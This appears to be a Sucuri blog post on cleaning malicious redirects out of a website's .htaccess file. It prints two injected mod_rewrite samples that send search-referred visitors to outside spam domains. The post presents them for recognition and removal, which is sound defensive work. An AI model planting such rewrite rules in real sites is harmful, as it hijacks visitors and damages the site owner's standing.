Website Malware Removal – Website Redirection

This post was put together in collaboration with one of our Support Engineers, Bruno Borges. Be sure to take a minute and say thanks for the info, he loves twitter (when its up).

It seems every day we’re combating malicious redirections. Often, they are simple, but everyday they are evolving, and in some instances become more challenging to detect.

What is perhaps the most frustrating is figuring out which vector is being exploited. It’d be easy to say it’s out-of-date software, but there are so many variations it’s difficult to say. What we can do is provide you some advise if you’re suffering from such a redirection.

What’s important to note about redirections is that they are often generated from your .htaccess file. That being said, they can be obfuscated, encoded, and embedded across a number of your core files. In more serious cases they could be getting generated from a payload in your database as well.

Either way, they are extremely annoying and can cause you to get blacklisted by Google quicker than you can say “Supercalifragilisticexpialidocious.”

Identifying the Infection

Identifying the infection is often easy.

The minute you get a complaint from a user, the first thing you want to do is open up your handy dandy FTP client or terminal, and navigate to the directory that houses your website.

If in terminal be sure to run it so that you see all the files in the directory:

# ls -la ~/public_html/somesite.com

This is important as the a option will make sure you see all the files in the directory. That “.” will often cause the file to be shown as hidden and htaccess files are prefixed with the “.” as a prefix. Funny how that works.

Note: If you’re working Filezilla or another FTP client, be sure you have enabled it such that the client see all hidden files. In Filezilla you do this by clicking on Server in the Menu options and selecting Force showing hidden files (see image below).

Once you see the file, it’s just a matter of opening it to see what might be going on.

Here are samples of things you might see if your site is being redirected:

#c3284d#
<IfModule mod_rewrite.c&>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|
allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|
aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|
botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|
clickz|clush|confex|cyber-content|daffodil.(.*)
RewriteRule ^(.*)$ http://mytresca.com/counter.php [R=301,L]
</IfModule&>
#/c3284d#

-or-

<IfModule mod_rewrite.c>
RewriteEngine on
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*(msn|live|altavista|excite|ask|aol|google|mail|bing|yahoo).*$ [NC]
RewriteCond %{HTTP_COOKIE} !^.*cookie-visited-name.*$ [NC]
RewriteRule .* http://sweepstakesandcontestsnow.com/nl-in.php?d=1 [CO=cookie-visited-name:1:%{HTTP_HOST}:10000,R,L]
</IfModule>

In both these instances you should pay special attention to a things:

First, is the use of the following directive:

RewriteCond %{HTTP_REFERER}

This bad boy is telling the server to respond based on the referrers it identifies. So, in this case, the first version was saying send the user to the bad site if it comes from any of these:

(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|
alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|
atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|
brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|
clickz|clush|confex|cyber-content|daffodil.

The second one was saying, if it comes from any of these send them to the other bad site:

msn|live|altavista|excite|ask|aol|google|mail|bing|yahoo

Second, the RewriteRule directive tells the server where to send the client if their referrer does meet the criteria:

The first scenario sends the user here:

http://mytresca.com/counter.php

and the second sends them here:

http://sweepstakesandcontestsnow.com/nl-in.php?d=1

Understand that it doesn’t have to be one for one with what I’ve provided here, but in more instances than not, a redirect is often coming from an infected .htaccess file. And if it is, you’re likely to see two directives being used:

RewirteCond %(HTTP_REFERER)

and

RewriteRule.

You don’t have to be a developer to know something is up if you see both those being used in unison. It’s not always the case though, so don’t go removing things just because. A good sign is usually if you see the RewriteRule pointing to site other than your own, such as the case above.

Get Rid Of It

Before you go crazy on your file, create a backup, last thing any one wants is for you to delete or leave unnecessary characters and crash your site. Next thing we know all hell is breaking loose because your site is down.

In terminal, creating a backup, it’s easy:

# cp .htacess .htaccess.myawesomebackup

If you’re in some kind of file explorer, copy and paste often does the trick.

Fortunately, doing away with the infection is easier than slapping butter on a piece bread. You want to highlight the mess and push down on that awesome delete button. BOOM, it’s gone. Don’t forget to hit save though.

If you’re doing this in Filezilla, don’t forget to hit the button that commits your change, this is often triggered after you hit the save button. Don’t do what many do and delete the infection, refresh the browser, but forget to commit the change to the server. You’re bound to find yourself chasing your own tail.

You do want to be careful though, depending on your server, leaving unnecessary spaces or characters could cause your entire site to go down. To avoid this, it’s often best to delete everything between:

<IfModule mod_rewrite.c>

and

</IfModule>

and leave those directives in place. If you’re one of those fanatics about your code looking tip top, then go ahead and remove it. This approach can obviously be argued two ways from Sunday, but the point is, get rid of the junk. It’s your prerogative on how you decide to maintain your code.

A few tidbits to take home with you:

Many reading this might argue that this is only removing the infection, not the cause, they’d be right. Redirections can be complex animals, here are a couple of things to keep in mind:

• Web redirects are not always this simple, there are instances that whatever created the infection has actually duplicated the infection by creating a .htaccess in every one of your directories
• Depending on your host and the payload, you might find that you clear all the .htaccess file infections but the site is still redirecting. In these instances, it’s best to look outside the web directory. GoDaddy installs are notorious for this.
• This has only covered what to do if you suspect you are infected. It doesn’t talk to the cause of the infection, nor does it address reinfection issues.
• If you suspect you are infected you can always use our free scanner SiteCheck to help narrow down the issue
• If clearing all your .htaccess files doesn’t clear the issue then you’re likely dealing with encoded redirection and engaging professional help is in your interest

If you have any questions or you blow up your site just let us know at info@sucuri.net.